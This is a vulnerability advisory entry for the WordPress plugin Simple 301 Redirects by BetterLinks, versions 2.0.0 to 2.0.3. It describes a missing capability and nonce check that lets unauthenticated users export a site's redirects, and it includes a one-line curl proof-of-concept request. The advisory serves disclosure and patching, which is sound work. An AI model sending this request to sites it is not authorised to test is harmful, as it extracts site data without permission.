Simple 301 Redirects by BetterLinks - 2.0.0 – 2.0.3 - Unauthenticated Redirect Export
Description
The export_data function of the plugin had no capability or nonce checks making it possible for unauthenticated users to export a site's redirects.
Proof of Concept
curl -X POST --url "[URL]/wp-admin/admin-post.php?page=301options&export=true"
Affects Plugins
Fixed in version 2.0.4✓
Classification
Miscellaneous
Original Researcher
Chloe Chamberland
Submitter
Chloe Chamberland
Submitter website
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2021-05-26 (about 8 months ago)
Added
2021-05-26 (about 8 months ago)
Last Updated
2021-05-27 (about 8 months ago)